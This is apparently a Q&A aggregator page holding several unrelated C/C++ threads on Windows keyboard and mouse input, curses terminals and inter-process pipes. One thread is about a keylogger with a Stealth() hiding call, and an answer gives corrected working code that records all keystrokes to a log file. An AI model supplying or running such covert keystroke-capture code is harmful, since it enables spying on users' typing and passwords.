So I've been trying to make a program that sends a string of keystrokes over to the currently open window and whenever I run the code, it doesn't send whatever I want it to send it sends something completely different(i.e sending bob comes up as 22 or 2/2)
#include <iostream>
#include <vector>
#include <Windows.h>
int SendKeys(const std::string &msg);
int main() {
Sleep(5);
while(true) {
Sleep(500);
SendKeys("iajsdasdkjahdjkasd");
}
std::cin.get();
return 0;
}
int SendKeys(const std::string & msg)
{
std::vector<INPUT> bob(msg.size());
for(unsigned int i = 0; i < msg.size(); ++i)
{
bob[i].type = INPUT_KEYBOARD;
bob[i].ki.wVk = msg[i];
std::cout << bob[i].ki.wVk << std::endl;
auto key = SendInput(1, &bob[i], sizeof(INPUT) /* *bob.size() */);
}
return 0;
}
(forgive the horrible formatting)
The virtual key codes does not generally correspond to the ASCII alphabet.
If you read e.g. this MSDN reference for virtual key-codes you will see that e.g. lower-case 'a' (which has ASCII value 0x61) corresponds to VK_NUMPAD1 which is the 1 key on the numeric keyboard.
The upper-case ASCII letters do correspond to the correct virtual key codes, so you need to make all letters upper-case when assigning to bob[i].ki.wVk. For all other symbols and characters you need to translate the character to the virtual key code.
Related
What I want to do is to output the text when there is a certain sentence and give it a specific time interval so that it is output as if typing.
This was handled by using the Sleep() function when printing a string.
However, when the space bar (or any key) is pressed while a sentence is being printed, I want the remaining sentences to be output at once without a time delay.
Because there are people who want to read text quickly.
(I'm making a text-based game.)
And from the next sentence, the string should be output with a time interval back to the original.
So, I wrote the code as below, but if I press the space bar once, all the sentences following it are printed at once without a time interval.
My guess is that once the spacebar is pressed, it works as if the spacebar is pressed continuously after that.
How can I solve this?
#include <stdio.h>
#include <Windows.h>
#include <conio.h>
#include <iostream>
using namespace std;
bool space;
void type(string str)
{
for (int i = 0; str[i] != '\0'; i++) {//Print until \0 appears
printf("%c", str[i]);
if (GetAsyncKeyState(VK_SPACE) & 0x8000) {//When the user presses the spacebar
space = true;//Turn AABSD into true
}
if (space) {//If the space bar is pressed
Sleep(0);//Print all the letters of a sentence without a break
}
else {//If the space bar is not pressed
Sleep(500);//Print at 0.5 second intervals per character
}
}
space = false;
}
int main(void)
{
space = false;
type("Hello, World!\n");
type("Hello, World!\n");
type("Hello, World!\n");
type("Hello, World!\n");
type("Hello, World!\n");
type("Hello, World!\n");
return 0;
}
At the end of type, you can loop until you see space being released:
void type(string str) {
...
while (space) {
space = (GetAsyncKeyState(VK_SPACE) & 0x8000);
Sleep(10);
}
}
Sleeping for 10 milliseconds at a time prevents pressing space from overheating your computer.
i'm trying to get the coordinates of the mouse, then move the mouse relative to those coordinates.
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
int main() {
SHORT f5;
POINT pt{};
MOUSEINPUT _mi{};
INPUT mm{};
mm.type = 0;
for (;;) {
f5 = GetAsyncKeyState(0x74);
if (f5 > 0) {
GetCursorPos(&pt);
_mi.dx = pt.x + 100;
_mi.dy = pt.y + 100;
mm.mi = _mi;
SendInput(1, mm, sizeof(mm));
}
Sleep(50);
}
return 0;
}
I'm getting an error saying that no suitable conversion from INPUT to LPINPUT exists, but I also have no idea how to create a "LPINPUT" struct.
SendInput() expects a pointer to an array of INPUT structures. Since you are passing only 1 INPUT, give it the address of your INPUT as a pointer by prefixing the structure with the & operator, just as you did with GetCursorPos():
SendInput(1, &mm, sizeof(mm));
The description of the problems:
I code a program that prints out some information frequently.
I want to input some commands during the program running.
std::out will flush out my input.
For examples:
>>> ./my_program
[sensorA] initial...ok
[sensorB] initial...ok
ge //!< I want to input 'get' here but the next output break it
[motorA] self-check...ok
t //!< break it into two spice
Expected:
>>> ./my_program
[sensorA] initial...ok
[sensorB] initial...ok
[motorA] self-check...ok
get //!< always fixed here whenever I input
Thanks a lot !
Appreciation
Firstly, I show my Great appreciation to Sam Varshavchik
Primary Result I found
Sam gave me the hints to use Curses Library. I read the doc and now finish the basic function.
My method is to create to sub-windows(output_win and input_win). User input show in input_win whereas program information print on output_win.
Let me share my code:
#include <iostream>
#include <string>
#include <curses.h>
#include <thread>
#include <atomic>
#include <chrono>
#include <unistd.h>
using namespace std;
WINDOW* win;
WINDOW* output_win;
WINDOW* input_win;
int row = 0, col = 0;
std::atomic<bool> flag(false);
string buf;
void ninit()
{
win = initscr();
getmaxyx(win, row, col);
cbreak();
noecho();
nonl();
intrflush(stdscr, FALSE);
keypad(stdscr, TRUE);
refresh();
}
void nprintf(string str)
{
touchwin(win);
str += '\n';
wprintw(output_win, str.c_str());
wrefresh(output_win);
}
void nprintf(const char* fmt, ...)
{
touchwin(win);
va_list ap;
va_start(ap, fmt);
vw_printw(output_win, fmt, ap);
va_end(ap);
wrefresh(output_win);
}
void nmonitor()
{
while(1)
{
char x = getch();
if(x != '\r')
{
touchwin(win);
buf += x;
waddch(input_win, x);
}
else
{
nprintf(buf);
touchwin(input_win);
flag = true;
wclear(input_win);
}
wrefresh(input_win);
}
}
string nget()
{
while(!flag)
usleep(100);
string cmd = buf;
flag = false;
buf = "";
return cmd;
}
////////////////////////////////
void print_thread()
{
while(1)
{
static int i = 0;
nprintf("no.%d\n", i++);
usleep(100000);
}
}
int main()
{
ninit();
fflush(stdin);
output_win = subwin(win, row - 1, col, 0, 0);
scrollok(output_win, true);
input_win = subwin(win, 1, col, row - 1, 0);
std::thread pthr(print_thread);
std::thread nthr(nmonitor);
string cmd;
while(1)
{
cmd = nget();
if(cmd == "quit")
break;
else
nprintf("[info] You input: %s\n", cmd.c_str());
}
getch();
endwin();
}
Environment Configure and Build
For Mac OSX:
brew install ncurses
For Ubuntu:
sudo apt-get install libcurses5-dev
To build:
g++ f04.cpp - f04 -lcurses # I try for 4 times so name it f04
Some bugs
Actually it has some bugs, here I found:
when you input backspace, it will not delete a char but show a special char;
after inputting enter, output_win sometimes show some strange words.
I am a beginner and may need help.
(Maybe I will solve them soon.)
May it can help others indeed.
You can try the following:
Before you print something, read from stdin everything the user
entered so far.
If there was something in stdin, print '\r' (so that the next output will overwrite the text entered by the user).
Print your output.
Print the text the user entered so far (but without '\n').
Please also see:
Rewinding std::cout to go back to the beginning of a line
I've been a visitor of stackoverflow for quite some time and this is my first question on this site :)
I'm trying to write a keylogger which will save the keys pressed in a .txt file but the problem is this. I check the outputs on cmd.exe with cout and I see that it works fine but when I open the LOG.txt file I see that the program prints abcdefgh as 012345678. Only these noncapital letters don't work. Every other key is printed correctly inside the file.
Here is my main function:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
Save function:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
I see one thing wrong wrong so far, and a couple things I would do differently. First, I don't think I would make it open and close the file every time it writes a single character.
Second (the wrong wrong), is you call fprintf specifying a string %s and giving it a integer pointer &key. An easy fix should be fprintf(OUTPUT_FILE, "%c", (char)key), although much more elegant solutions exist for putting a single character ie putc.
IMHO, you have one major problem in this code : you use i as a loop index, and change its value in the loop.
The other problem is that your Save function is plain wrong.
On my own box, the following code displays correctly the pressed keys, and logs them to file LOG.txt :
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}
Of course, I have to press Ctrl-C or Ctrl-Break to stop the program, and non alphanumeric keys show weird symbols ...
But when I enter ABCDEFGH012345678 and then Ctrl-C (not using keypad for numbers), I get as expected in LOG.txt :
A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) . (11)
Last character represented is the Ctrl that is here a dot . but in reality is a square ...
In C++, I need to start a secondary program from a primary program, sending the second some arguments. I need to return the data produced by the secondary program to the primary program. In this case, the data happens to be a two-dimensional std::string array; we'll call it stringArray. This is easy enough to do:
// snippet from Primary
std::string executionString ("./secondaryProgram arg1 arg2 arg3");
system(executionString);
What I don't know how to do is get the data that Secondary Program produces back to the Primary program (short of writing to a temporary file from Secondary and then reading the file from Primary).
In other words, it would be great if I could do something like:
// snippet from Primary
std::string stringArray[2][3];
stringArray = system(executionString);
I'm not hoping for a solution as simple as this or working code from anyone, any nudge in the right direction is appreciated.
I cannot use sockets for this purpose. I have not been able to figure out how to build a pipe between std::cout and std::cin that works for this case. My only real constraint is that my solution involve system() somehow.
system() does not create pipes to the child process. The child process inherits the parent's standard in, standard out, and standard error descriptors.
On Linux, you can use popen() if you want access to the child's stdin or stdout.
Since you have to use system(), you could
have the secondary program store its results in a file. Your main program would then open the file after the system completes. Sort of like this:
std::string executionString ("./secondaryProgram arg1 arg2 arg3 > output_file.txt");
system(executionString);
std::ifstream result("output_file.txt");
while( result >> str) {
result_vector.push_back(str);
}
Take a look at boost.interprocess. It contains many utilities that can be used for IPC in a portable way.
If you don't want to rely on boost, you can do something like this. Compile with C++11 mode and -pthread GCC option.
Why don't you write the relevant information in the second process to a file, and then read that file in the first process. Seems weird to do it this way, but I think it meets your professor's criteria, at least the parts you've shared with us.
Boost Interprocess should work for you. It supports message queues between threads on different processes.
You can use pipes to communicate. The link provided has examples for linux, but it's very similar to what you would write for windows.
If you need to send arbitrary data that might change at run time you might consider serializing the data sent over the pipes and deserializing it at the receiver. You might use XML, JSON, or something like Protobuf. If you make it human readable that adds the opportunity to reuse components or debug what's happening using the eyeball mark 1
Alright here's what I ended up doing.
"translate"
#include <iostream>
#include <fstream>
#include <vector>
#include <sstream>
#include <algorithm>
#include <cstdlib>
#include <unistd.h>
std::vector<std::string> sortTerms(int n, char* argv[]) {
std::vector<std::string> sortedTerms (n);
for (int i = 0; i < n; i++) {
sortedTerms[i] = argv[i+1]; // first term argv is program name
}
std::sort(sortedTerms.begin(),sortedTerms.end());
return sortedTerms;
}
std::vector<std::string> splitString(int n,std::string str) {
std::vector<std::string> stringVector (n);
std::istringstream iss(str);
for (int i = 0; i < n; i++)
std::getline(iss, stringVector[i], ' ');
return stringVector;
}
int main(int argc, char** argv) {
const int NUM_TERMS = (argc - 1); // number of words to translate
std::string output[NUM_TERMS][2]; // used to store a translated word alongside the English equivalent
std::string stringBuffer; // used to start dictionary with arguments
std::vector<std::string> stringVector (NUM_TERMS); // used as a buffer
std::ofstream outputFile("translated.txt"); // file to write translations to
const bool VERBOSE = true;
stringBuffer.clear();
stringBuffer.append("./dictionary ");
// Sort English words and load them into output
stringVector = sortTerms(NUM_TERMS, argv);
for (int i = 0; i < NUM_TERMS; i++) {
output[i][0] = stringVector[i];
stringBuffer = stringBuffer.append(stringVector[i]);
stringBuffer = stringBuffer.append(" ");
}
int pipeStatus;
int pipeOutput[2]; // file descriptor
pipeStatus = pipe(pipeOutput); // create output read/write pipe ends
if (pipeStatus < 0) {
std::cerr << "ERROR CREATING PIPE" << std::endl;
exit(1);
}
int pid = 0;
pid = fork();
if (pid == 0) { // dictionary
// Connect the pipes
dup2 (pipeOutput[1],1);
// Execute the program
system(stringBuffer.c_str());
// Close pipes
close(pipeOutput[0]);
close(pipeOutput[1]);
exit(0);
}
else if (pid > 0) { // Original process
char* buffer = new char[1024]; // input buffer
// Receive string from dictionary
read(pipeOutput[0],buffer,1024); // read in from output of dictionary
stringBuffer = buffer; // I'd rather work with a std::string
stringVector = splitString(NUM_TERMS, stringBuffer);
for (int i = 0; i < NUM_TERMS; i++)
output[i][1] = stringVector[i];
// Close pipes
close(pipeOutput[0]);
close(pipeOutput[1]);
if (VERBOSE) {
for (int i = 0; i < NUM_TERMS; i++)
std::cout << output[i][0] << " -> " << output[i][1] << std::endl;
}
// write translationString to file
for (int i = 0; i < NUM_TERMS; i++) {
outputFile.write(output[i][0].c_str(),output[i][0].length());
outputFile.write(" -> ",4);
outputFile.write(output[i][1].c_str(),output[i][1].length());
outputFile.write("\n",1);
}
outputFile.close();
exit(0);
}
else if (pid == -1) {
std::cerr << "ERROR FORKING PROCESS" << std::endl;
exit(1);
}
return 0;
}
"dictionary"
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
std::vector<std::string> splitString(std::string str)
{
std::vector<std::string> stringVector (2);
std::istringstream iss(str);
std::getline(iss, stringVector[0], ' ');
std::getline(iss, stringVector[1], ' ');
return stringVector;
}
int main(int argc, char* argv[]) {
const int NUM_TERMS = (argc - 1);
std::string stringBuffer;
std::string returnString[NUM_TERMS];
std::vector<std::string> stringVector;
std::ifstream dictionaryFile ("./dictionary.txt");
// There must be at least one arguement
if (argc <= 1)
std::cout << "Nothing to translate..." << std::endl;
for (int i = 0; i < NUM_TERMS; i++) {
while (dictionaryFile) {
getline(dictionaryFile,stringBuffer);
stringVector = splitString(stringBuffer);
if (stringVector[0] == argv[i+1]) { // wut
returnString[i] = stringVector[1];
break;
}
}
}
// clear string buffer
stringBuffer.clear();
// Form translated words string
for (int i = 0; i < NUM_TERMS; i++) {
stringBuffer.append(returnString[i]);
if (i < (NUM_TERMS - 1))
stringBuffer.append(" "); // append a space after each but the last term
}
// print translated words
std::cout << stringBuffer << std::endl;
dictionaryFile.close();
return 0;
}
"dictionary.txt"
Apple Apfel
Banana Banane
Blackberry Brombeere
Blueberry Heidelbeere
Cherry Kirsche
Fruit Obst
Grape Traube
Lemon Zitrone
Lime Limone
Orange Orange
Peach Pfirsich
Pear Birne
Plum Zwetschge
Raspberry Himbeere
Strawberry Erdbeere
meant to be run like $ ./dictionary Apple Orange Strawberry
produces "translated.txt"
Apple -> Apfel
Orange -> Orange
Strawberry -> Erdbeere
I've still got a bit of polishing to do before I turn it in, but that's the gist of it. Thanks guys!